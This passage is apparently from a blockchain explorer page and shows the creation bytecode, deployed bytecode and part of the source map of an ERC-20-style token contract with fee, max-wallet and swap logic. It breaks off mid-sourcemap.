bca31461060b578063f2fde38b1461062b578063f887ea401461064b57600080fd5b8063ca33e64c14610530578063caf5f67d14610550578063d7c0103214610565578063dd62ed3e1461058557600080fd5b80638f9a55c0116100dc5780638f9a55c0146104c557806395d89b41146104db578063a1ac727f146104f0578063a9059cbb1461051057600080fd5b806384b0aa6614610443578063850c0bd614610463578063893d20e8146104a75780638da5cb5b146104a757600080fd5b806349bd5a5e116101855780636ec518b8116101545780636ec518b8146103b857806370a08231146103d8578063715018a61461040e5780637537ccb61461042357600080fd5b806349bd5a5e1461030b578063571ac8b014610357578063658d4b7f146103775780636ddd17131461039757600080fd5b806323b872dd116101c157806323b872dd1461029a5780632b112e49146102ba578063313ce567146102cf578063326cea5e146102eb57600080fd5b806306fdde03146101fe578063095ea7b31461022957806318160ddd1461025957806323376e8f1461027857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021361066b565b6040516102209190611759565b60405180910390f35b34801561023557600080fd5b506102496102443660046117be565b6106fd565b6040519015158152602001610220565b34801561026557600080fd5b506006545b604051908152602001610220565b34801561028457600080fd5b506102986102933660046117e8565b61076a565b005b3480156102a657600080fd5b506102496102b536600461180a565b61082c565b3480156102c657600080fd5b5061026a6108ee565b3480156102db57600080fd5b5060405160098152602001610220565b3480156102f757600080fd5b506102986103063660046118fd565b610940565b34801561031757600080fd5b5061033f7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610220565b34801561036357600080fd5b50610249610372366004611961565b61097a565b34801561038357600080fd5b5061029861039236600461198a565b610988565b3480156103a357600080fd5b5060165461024990600160a01b900460ff1681565b3480156103c457600080fd5b5060155461033f906001600160a01b031681565b3480156103e457600080fd5b5061026a6103f3366004611961565b6001600160a01b031660009081526008602052604090205490565b34801561041a57600080fd5b506102986109dd565b34801561042f57600080fd5b5061029861043e36600461198a565b610a51565b34801561044f57600080fd5b5061029861045e3660046119c1565b610a98565b34801561046f57600080fd5b50600d54600f54600c54601054601254604080519586526020860194909452928401919091526060830152608082015260a001610220565b3480156104b357600080fd5b506000546001600160a01b031661033f565b3480156104d157600080fd5b5061026a60075481565b3480156104e757600080fd5b50610213610afe565b3480156104fc57600080fd5b5061029861050b366004611a04565b610b0d565b34801561051c57600080fd5b5061024961052b3660046117be565b610bec565b34801561053c57600080fd5b5060135461033f906001600160a01b031681565b34801561055c57600080fd5b50610298610bf9565b34801561057157600080fd5b50610298610580366004611acc565b610c7d565b34801561059157600080fd5b5061026a6105a0366004611b0f565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156105d757600080fd5b506102986105e6366004611b42565b610ce6565b3480156105f757600080fd5b5060145461033f906001600160a01b031681565b34801561061757600080fd5b5061026a610626366004611b60565b610d23565b34801561063757600080fd5b50610298610646366004611961565b610d40565b34801561065757600080fd5b5060165461033f906001600160a01b031681565b60606004805461067a90611b7d565b80601f01602080910402602001604051908101604052809291908181526020018280546106a690611b7d565b80156106f35780601f106106c8576101008083540402835291602001916106f3565b820191906000526020600020905b8154815290600101906020018083116106d657829003601f168201915b5050505050905090565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107589086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161079490611bb7565b60405180910390fd5b600182101580156107af575060648110155b6108065760405162461bcd60e51b815260206004820152602260248201527f4d61782077616c6c6574206d7573742062652067726561746572207468616e20604482015261312560f01b6064820152608401610794565b6108258161081f84600654610e2a90919063ffffffff16565b90610eac565b6007555050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054600019146108d9576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546108b4918490610eee565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6108e4848484610f28565b90505b9392505050565b6003546001600160a01b031660009081526008602052604081205461093b906002546001600160a01b0316600090815260086020526040902054610935906006549061116c565b9061116c565b905090565b336000908152600b602052604090205460ff1661095c57600080fd5b60056109688282611c3a565b5060046109758382611c3a565b505050565b6000610764826000196106fd565b6000546001600160a01b031633146109b25760405162461bcd60e51b815260040161079490611bb7565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a075760405162461bcd60e51b815260040161079490611bb7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600b602052604090205460ff16610a6d57600080fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ac25760405162461bcd60e51b815260040161079490611bb7565b600d869055600e859055600c849055600f839055610aec83610ae686818a8a6111ae565b906111ae565b60105560119190915560125550505050565b60606005805461067a90611b7d565b336000908152600b602052604090205460ff16610b2957600080fd5b60005b8251811015610be657836001600160a01b031663a9059cbb848381518110610b5657610b56611cfa565b6020026020010151846040518363ffffffff1660e01b8152600401610b909291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af1158015610baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd39190611d10565b5080610bde81611d43565b915050610b2c565b50505050565b60006108e7338484610f28565b336000908152600b602052604090205460ff16610c1557600080fd5b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d8060008114610c67576040519150601f19603f3d011682016040523d82523d6000602084013e610c6c565b606091505b5050905080610c7a57600080fd5b50565b6000546001600160a01b03163314610ca75760405162461bcd60e51b815260040161079490611bb7565b601380546001600160a01b039485166001600160a01b031991821617909155601580549285169282169290921790915560148054929093169116179055565b336000908152600b602052604090205460ff16610d0257600080fd5b60175560168054911515600160a01b0260ff60a01b19909216919091179055565b60008115610d3357505060105490565b505060115490565b919050565b6000546001600160a01b03163314610d6a5760405162461bcd60e51b815260040161079490611bb7565b6001600160a01b038116610dcf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610e3c57506000610764565b6000610e488385611d5c565b905082610e558583611d73565b146108e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b60006108e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061120d565b60008184841115610f125760405162461bcd60e51b81526004016107949190611759565b506000610f1f8486611d95565b95945050505050565b601854600090610100900460ff1615610f4d57610f4684848461123b565b90506108e7565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614158015610f9d57506002546001600160a01b03848116911614155b8015610fc257506001600160a01b0383166000908152600b602052604090205460ff16155b156110385760075482610fea856001600160a01b031660009081526008602052604090205490565b610ff49190611da8565b11156110385760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b6044820152606401610794565b611040611321565b1561104d5761104d611399565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461109f918490610eee565b6001600160a01b038516600090815260086020908152604080832093909355600a90529081205460ff16156110d457826110df565b6110df858585611689565b6001600160a01b03851660009081526008602052604090205490915061110590826111ae565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111599085815260200190565b60405180910390a3506001949350505050565b60006108e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eee565b6000806111bb8385611da8565b9050838110156108e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b6000818361122e5760405162461bcd60e51b81526004016107949190611759565b506000610f1f8486611d73565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260089091529182205461128c918490610eee565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546112bb90836111ae565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061130f9086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148015906113645750601854610100900460ff16155b80156113795750601654600160a01b900460ff165b801561093b57505060175430600090815260086020526040902054101590565b6018805461ff0019166101001790556010546000906113b95760006113d6565b6113d660105461081f600c54601754610e2a90919063ffffffff16565b905080156113f8576002546113f69030906001600160a01b03168361123b565b505b6000816017546114089190611d95565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061144257611442611cfa565b6001600160a01b039283166020918202929092010152600180548351921691839190811061147257611472611cfa565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906114b8908590600090869030904290600401611dbb565b600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050601054479250600091506114fc5781611517565b61151760105461081f600f5485610e2a90919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461156e576040519150601f19603f3d011682016040523d82523d6000602084013e611573565b606091505b50509050806115c45760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610794565b6115e06103e861081f600e600654610e2a90919063ffffffff16565b6017541161161e576116046103e861081f6007600654610e2a90919063ffffffff16565b601754106116175760185460ff16611621565b6001611621565b60005b6018805460ff1916911515918217905560ff1661165857611653606461081f6061601754610e2a90919063ffffffff16565b611673565b611673606461081f6067601754610e2a90919063ffffffff16565b60175550506018805461ff001916905550505050565b6000806116d960125461081f6116d27f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b031614610d23565b8690610e2a565b306000908152600860205260409020549091506116f690826111ae565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117479085815260200190565b60405180910390a3610f1f838261116c565b600060208083528351808285015260005b818110156117865785810183015185820160400152820161176a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d3b57600080fd5b600080604083850312156117d157600080fd5b6117da836117a7565b946020939093013593505050565b600080604083850312156117fb57600080fd5b50508035926020909101359150565b60008060006060848603121561181f57600080fd5b611828846117a7565b9250611836602085016117a7565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561188557611885611846565b604052919050565b600082601f83011261189e57600080fd5b813567ffffffffffffffff8111156118b8576118b8611846565b6118cb601f8201601f191660200161185c565b8181528460208386010111156118e057600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561191057600080fd5b823567ffffffffffffffff8082111561192857600080fd5b6119348683870161188d565b9350602085013591508082111561194a57600080fd5b506119578582860161188d565b9150509250929050565b60006020828403121561197357600080fd5b6108e7826117a7565b8015158114610c7a57600080fd5b6000806040838503121561199d57600080fd5b6119a6836117a7565b915060208301356119b68161197c565b809150509250929050565b60008060008060008060c087890312156119da57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215611a1957600080fd5b611a22846117a7565b925060208085013567ffffffffffffffff80821115611a4057600080fd5b818701915087601f830112611a5457600080fd5b813581811115611a6657611a66611846565b8060051b9150611a7784830161185c565b818152918301840191848101908a841115611a9157600080fd5b938501935b83851015611ab657611aa7856117a7565b82529385019390850190611a96565b979a979950505050604095909501359450505050565b600080600060608486031215611ae157600080fd5b611aea846117a7565b9250611af8602085016117a7565b9150611b06604085016117a7565b90509250925092565b60008060408385031215611b2257600080fd5b611b2b836117a7565b9150611b39602084016117a7565b90509250929050565b60008060408385031215611b5557600080fd5b82356117da8161197c565b600060208284031215611b7257600080fd5b81356108e78161197c565b600181811c90821680611b9157607f821691505b602082108103611bb157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f82111561097557600081815260208120601f850160051c81016020861015611c135750805b601f850160051c820191505b81811015611c3257828155600101611c1f565b505050505050565b815167ffffffffffffffff811115611c5457611c54611846565b611c6881611c628454611b7d565b84611bec565b602080601f831160018114611c9d5760008415611c855750858301515b600019600386901b1c1916600185901b178555611c32565b600085815260208120601f198616915b82811015611ccc57888601518255948401946001909101908401611cad565b5085821015611cea5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611d2257600080fd5b81516108e78161197c565b634e487b7160e01b600052601160045260246000fd5b600060018201611d5557611d55611d2d565b5060010190565b808202811582820484141761076457610764611d2d565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561076457610764611d2d565b8082018082111561076457610764611d2d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e0b5784516001600160a01b031683529383019391830191600101611de6565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122016cac41b602d082f69de8a356536387275d4b29959f0d8b82a5e90a4cc7645cf64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101f25760003560e01c806384b0aa661161010d578063ca33e64c116100a0578063df20fd491161006f578063df20fd49146105cb578063e96fada2146105eb578063f1f3bca31461060b578063f2fde38b1461062b578063f887ea401461064b57600080fd5b8063ca33e64c14610530578063caf5f67d14610550578063d7c0103214610565578063dd62ed3e1461058557600080fd5b80638f9a55c0116100dc5780638f9a55c0146104c557806395d89b41146104db578063a1ac727f146104f0578063a9059cbb1461051057600080fd5b806384b0aa6614610443578063850c0bd614610463578063893d20e8146104a75780638da5cb5b146104a757600080fd5b806349bd5a5e116101855780636ec518b8116101545780636ec518b8146103b857806370a08231146103d8578063715018a61461040e5780637537ccb61461042357600080fd5b806349bd5a5e1461030b578063571ac8b014610357578063658d4b7f146103775780636ddd17131461039757600080fd5b806323b872dd116101c157806323b872dd1461029a5780632b112e49146102ba578063313ce567146102cf578063326cea5e146102eb57600080fd5b806306fdde03146101fe578063095ea7b31461022957806318160ddd1461025957806323376e8f1461027857600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b5061021361066b565b6040516102209190611759565b60405180910390f35b34801561023557600080fd5b506102496102443660046117be565b6106fd565b6040519015158152602001610220565b34801561026557600080fd5b506006545b604051908152602001610220565b34801561028457600080fd5b506102986102933660046117e8565b61076a565b005b3480156102a657600080fd5b506102496102b536600461180a565b61082c565b3480156102c657600080fd5b5061026a6108ee565b3480156102db57600080fd5b5060405160098152602001610220565b3480156102f757600080fd5b506102986103063660046118fd565b610940565b34801561031757600080fd5b5061033f7f0000000000000000000000008e20b278ee14389f5ce2298decca41e14f355a1181565b6040516001600160a01b039091168152602001610220565b34801561036357600080fd5b50610249610372366004611961565b61097a565b34801561038357600080fd5b5061029861039236600461198a565b610988565b3480156103a357600080fd5b5060165461024990600160a01b900460ff1681565b3480156103c457600080fd5b5060155461033f906001600160a01b031681565b3480156103e457600080fd5b5061026a6103f3366004611961565b6001600160a01b031660009081526008602052604090205490565b34801561041a57600080fd5b506102986109dd565b34801561042f57600080fd5b5061029861043e36600461198a565b610a51565b34801561044f57600080fd5b5061029861045e3660046119c1565b610a98565b34801561046f57600080fd5b50600d54600f54600c54601054601254604080519586526020860194909452928401919091526060830152608082015260a001610220565b3480156104b357600080fd5b506000546001600160a01b031661033f565b3480156104d157600080fd5b5061026a60075481565b3480156104e757600080fd5b50610213610afe565b3480156104fc57600080fd5b5061029861050b366004611a04565b610b0d565b34801561051c57600080fd5b5061024961052b3660046117be565b610bec565b34801561053c57600080fd5b5060135461033f906001600160a01b031681565b34801561055c57600080fd5b50610298610bf9565b34801561057157600080fd5b50610298610580366004611acc565b610c7d565b34801561059157600080fd5b5061026a6105a0366004611b0f565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b3480156105d757600080fd5b506102986105e6366004611b42565b610ce6565b3480156105f757600080fd5b5060145461033f906001600160a01b031681565b34801561061757600080fd5b5061026a610626366004611b60565b610d23565b34801561063757600080fd5b50610298610646366004611961565b610d40565b34801561065757600080fd5b5060165461033f906001600160a01b031681565b60606004805461067a90611b7d565b80601f01602080910402602001604051908101604052809291908181526020018280546106a690611b7d565b80156106f35780601f106106c8576101008083540402835291602001916106f3565b820191906000526020600020905b8154815290600101906020018083116106d657829003601f168201915b5050505050905090565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906107589086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461079d5760405162461bcd60e51b815260040161079490611bb7565b60405180910390fd5b600182101580156107af575060648110155b6108065760405162461bcd60e51b815260206004820152602260248201527f4d61782077616c6c6574206d7573742062652067726561746572207468616e20604482015261312560f01b6064820152608401610794565b6108258161081f84600654610e2a90919063ffffffff16565b90610eac565b6007555050565b6001600160a01b0383166000908152600960209081526040808320338452909152812054600019146108d9576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546108b4918490610eee565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6108e4848484610f28565b90505b9392505050565b6003546001600160a01b031660009081526008602052604081205461093b906002546001600160a01b0316600090815260086020526040902054610935906006549061116c565b9061116c565b905090565b336000908152600b602052604090205460ff1661095c57600080fd5b60056109688282611c3a565b5060046109758382611c3a565b505050565b6000610764826000196106fd565b6000546001600160a01b031633146109b25760405162461bcd60e51b815260040161079490611bb7565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a075760405162461bcd60e51b815260040161079490611bb7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600b602052604090205460ff16610a6d57600080fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ac25760405162461bcd60e51b815260040161079490611bb7565b600d869055600e859055600c849055600f839055610aec83610ae686818a8a6111ae565b906111ae565b60105560119190915560125550505050565b60606005805461067a90611b7d565b336000908152600b602052604090205460ff16610b2957600080fd5b60005b8251811015610be657836001600160a01b031663a9059cbb848381518110610b5657610b56611cfa565b6020026020010151846040518363ffffffff1660e01b8152600401610b909291906001600160a01b03929092168252602082015260400190565b6020604051808303816000875af1158015610baf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd39190611d10565b5080610bde81611d43565b915050610b2c565b50505050565b60006108e7338484610f28565b336000908152600b602052604090205460ff16610c1557600080fd5b6013546040516000916001600160a01b03169061753090479084818181858888f193505050503d8060008114610c67576040519150601f19603f3d011682016040523d82523d6000602084013e610c6c565b606091505b5050905080610c7a57600080fd5b50565b6000546001600160a01b03163314610ca75760405162461bcd60e51b815260040161079490611bb7565b601380546001600160a01b039485166001600160a01b031991821617909155601580549285169282169290921790915560148054929093169116179055565b336000908152600b602052604090205460ff16610d0257600080fd5b60175560168054911515600160a01b0260ff60a01b19909216919091179055565b60008115610d3357505060105490565b505060115490565b919050565b6000546001600160a01b03163314610d6a5760405162461bcd60e51b815260040161079490611bb7565b6001600160a01b038116610dcf5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610794565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082600003610e3c57506000610764565b6000610e488385611d5c565b905082610e558583611d73565b146108e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610794565b60006108e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061120d565b60008184841115610f125760405162461bcd60e51b81526004016107949190611759565b506000610f1f8486611d95565b95945050505050565b601854600090610100900460ff1615610f4d57610f4684848461123b565b90506108e7565b7f0000000000000000000000008e20b278ee14389f5ce2298decca41e14f355a116001600160a01b0316836001600160a01b031614158015610f9d57506002546001600160a01b03848116911614155b8015610fc257506001600160a01b0383166000908152600b602052604090205460ff16155b156110385760075482610fea856001600160a01b031660009081526008602052604090205490565b610ff49190611da8565b11156110385760405162461bcd60e51b815260206004820152601360248201527213585e0815d85b1b195d08115e18d959591959606a1b6044820152606401610794565b611040611321565b1561104d5761104d611399565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461109f918490610eee565b6001600160a01b038516600090815260086020908152604080832093909355600a90529081205460ff16156110d457826110df565b6110df858585611689565b6001600160a01b03851660009081526008602052604090205490915061110590826111ae565b6001600160a01b0380861660008181526008602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111599085815260200190565b60405180910390a3506001949350505050565b60006108e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eee565b6000806111bb8385611da8565b9050838110156108e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610794565b6000818361122e5760405162461bcd60e51b81526004016107949190611759565b506000610f1f8486611d73565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260089091529182205461128c918490610eee565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546112bb90836111ae565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061130f9086815260200190565b60405180910390a35060019392505050565b6000336001600160a01b037f0000000000000000000000008e20b278ee14389f5ce2298decca41e14f355a1116148015906113645750601854610100900460ff16155b80156113795750601654600160a01b900460ff165b801561093b57505060175430600090815260086020526040902054101590565b6018805461ff0019166101001790556010546000906113b95760006113d6565b6113d660105461081f600c54601754610e2a90919063ffffffff16565b905080156113f8576002546113f69030906001600160a01b03168361123b565b505b6000816017546114089190611d95565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061144257611442611cfa565b6001600160a01b039283166020918202929092010152600180548351921691839190811061147257611472611cfa565b6001600160a01b03928316602091820292909201015260165460405163791ac94760e01b815291169063791ac947906114b8908590600090869030904290600401611dbb565b600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050601054479250600091506114fc5781611517565b61151760105461081f600f5485610e2a90919063ffffffff16565b6014546040519192506000916001600160a01b039091169061753090849084818181858888f193505050503d806000811461156e576040519150601f19603f3d011682016040523d82523d6000602084013e611573565b606091505b50509050806115c45760405162461bcd60e51b815260206004820152601e60248201527f72656365697665722072656a656374656420455448207472616e7366657200006044820152606401610794565b6115e06103e861081f600e600654610e2a90919063ffffffff16565b6017541161161e576116046103e861081f6007600654610e2a90919063ffffffff16565b601754106116175760185460ff16611621565b6001611621565b60005b6018805460ff1916911515918217905560ff1661165857611653606461081f6061601754610e2a90919063ffffffff16565b611673565b611673606461081f6067601754610e2a90919063ffffffff16565b60175550506018805461ff001916905550505050565b6000806116d960125461081f6116d27f0000000000000000000000008e20b278ee14389f5ce2298decca41e14f355a116001600160a01b0316886001600160a01b031614610d23565b8690610e2a565b306000908152600860205260409020549091506116f690826111ae565b30600081815260086020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117479085815260200190565b60405180910390a3610f1f838261116c565b600060208083528351808285015260005b818110156117865785810183015185820160400152820161176a565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d3b57600080fd5b600080604083850312156117d157600080fd5b6117da836117a7565b946020939093013593505050565b600080604083850312156117fb57600080fd5b50508035926020909101359150565b60008060006060848603121561181f57600080fd5b611828846117a7565b9250611836602085016117a7565b9150604084013590509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561188557611885611846565b604052919050565b600082601f83011261189e57600080fd5b813567ffffffffffffffff8111156118b8576118b8611846565b6118cb601f8201601f191660200161185c565b8181528460208386010111156118e057600080fd5b816020850160208301376000918101602001919091529392505050565b6000806040838503121561191057600080fd5b823567ffffffffffffffff8082111561192857600080fd5b6119348683870161188d565b9350602085013591508082111561194a57600080fd5b506119578582860161188d565b9150509250929050565b60006020828403121561197357600080fd5b6108e7826117a7565b8015158114610c7a57600080fd5b6000806040838503121561199d57600080fd5b6119a6836117a7565b915060208301356119b68161197c565b809150509250929050565b60008060008060008060c087890312156119da57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b600080600060608486031215611a1957600080fd5b611a22846117a7565b925060208085013567ffffffffffffffff80821115611a4057600080fd5b818701915087601f830112611a5457600080fd5b813581811115611a6657611a66611846565b8060051b9150611a7784830161185c565b818152918301840191848101908a841115611a9157600080fd5b938501935b83851015611ab657611aa7856117a7565b82529385019390850190611a96565b979a979950505050604095909501359450505050565b600080600060608486031215611ae157600080fd5b611aea846117a7565b9250611af8602085016117a7565b9150611b06604085016117a7565b90509250925092565b60008060408385031215611b2257600080fd5b611b2b836117a7565b9150611b39602084016117a7565b90509250929050565b60008060408385031215611b5557600080fd5b82356117da8161197c565b600060208284031215611b7257600080fd5b81356108e78161197c565b600181811c90821680611b9157607f821691505b602082108103611bb157634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f82111561097557600081815260208120601f850160051c81016020861015611c135750805b601f850160051c820191505b81811015611c3257828155600101611c1f565b505050505050565b815167ffffffffffffffff811115611c5457611c54611846565b611c6881611c628454611b7d565b84611bec565b602080601f831160018114611c9d5760008415611c855750858301515b600019600386901b1c1916600185901b178555611c32565b600085815260208120601f198616915b82811015611ccc57888601518255948401946001909101908401611cad565b5085821015611cea5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052603260045260246000fd5b600060208284031215611d2257600080fd5b81516108e78161197c565b634e487b7160e01b600052601160045260246000fd5b600060018201611d5557611d55611d2d565b5060010190565b808202811582820484141761076457610764611d2d565b600082611d9057634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561076457610764611d2d565b8082018082111561076457610764611d2d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611e0b5784516001600160a01b031683529383019391830191600101611de6565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122016cac41b602d082f69de8a356536387275d4b29959f0d8b82a5e90a4cc7645cf64736f6c63430008110033

Deployed Bytecode Sourcemap

7604:10148:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10481:71;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11238:216;;;;;;;;;;-1:-1:-1;11238:216:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;11238:216:0;1004:187:1;10229:88:0;;;;;;;;;;-1:-1:-1;10302:12:0;;10229:88;;;1342:25:1;;;1330:2;1315:18;10229:88:0;1196:177:1;15868:252:0;;;;;;;;;;-1:-1:-1;15868:252:0;;;;;:::i;:::-;;:::i;:::-;;11756:370;;;;;;;;;;-1:-1:-1;11756:370:0;;;;;:::i;:::-;;:::i;17274:142::-;;;;;;;;;;;;;:::i;10323:71::-;;;;;;;;;;-1:-1:-1;10323:71:0;;7959:1;2106:36:1;;2094:2;2079:18;10323:71:0;1964:184:1;10746:159:0;;;;;;;;;;-1:-1:-1;10746:159:0;;;;;:::i;:::-;;:::i;8779:38::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3813:32:1;;;3795:51;;3783:2;3768:18;8779:38:0;3649:203:1;11462:122:0;;;;;;;;;;-1:-1:-1;11462:122:0;;;;;:::i;:::-;;:::i;16128:119::-;;;;;;;;;;-1:-1:-1;16128:119:0;;;;;:::i;:::-;;:::i;8826:30::-;;;;;;;;;;-1:-1:-1;8826:30:0;;;;-1:-1:-1;;;8826:30:0;;;;;;8702:37;;;;;;;;;;-1:-1:-1;8702:37:0;;;;-1:-1:-1;;;;;8702:37:0;;;10635:105;;;;;;;;;;-1:-1:-1;10635:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;10719:18:0;10701:7;10719:18;;;:9;:18;;;;;;;10635:105;5562:148;;;;;;;;;;;;;:::i;16255:168::-;;;;;;;;;;-1:-1:-1;16255:168:0;;;;;:::i;:::-;;:::i;16431:508::-;;;;;;;;;;-1:-1:-1;16431:508:0;;;;;:::i;:::-;;:::i;11050:180::-;;;;;;;;;;-1:-1:-1;11159:12:0;;11173;;11187:7;;11196:8;;11206:14;;11050:180;;;5278:25:1;;;5334:2;5319:18;;5312:34;;;;5362:18;;;5355:34;;;;5420:2;5405:18;;5398:34;5463:3;5448:19;;5441:35;5265:3;5250:19;11050:180:0;5019:463:1;10558:71:0;;;;;;;;;;-1:-1:-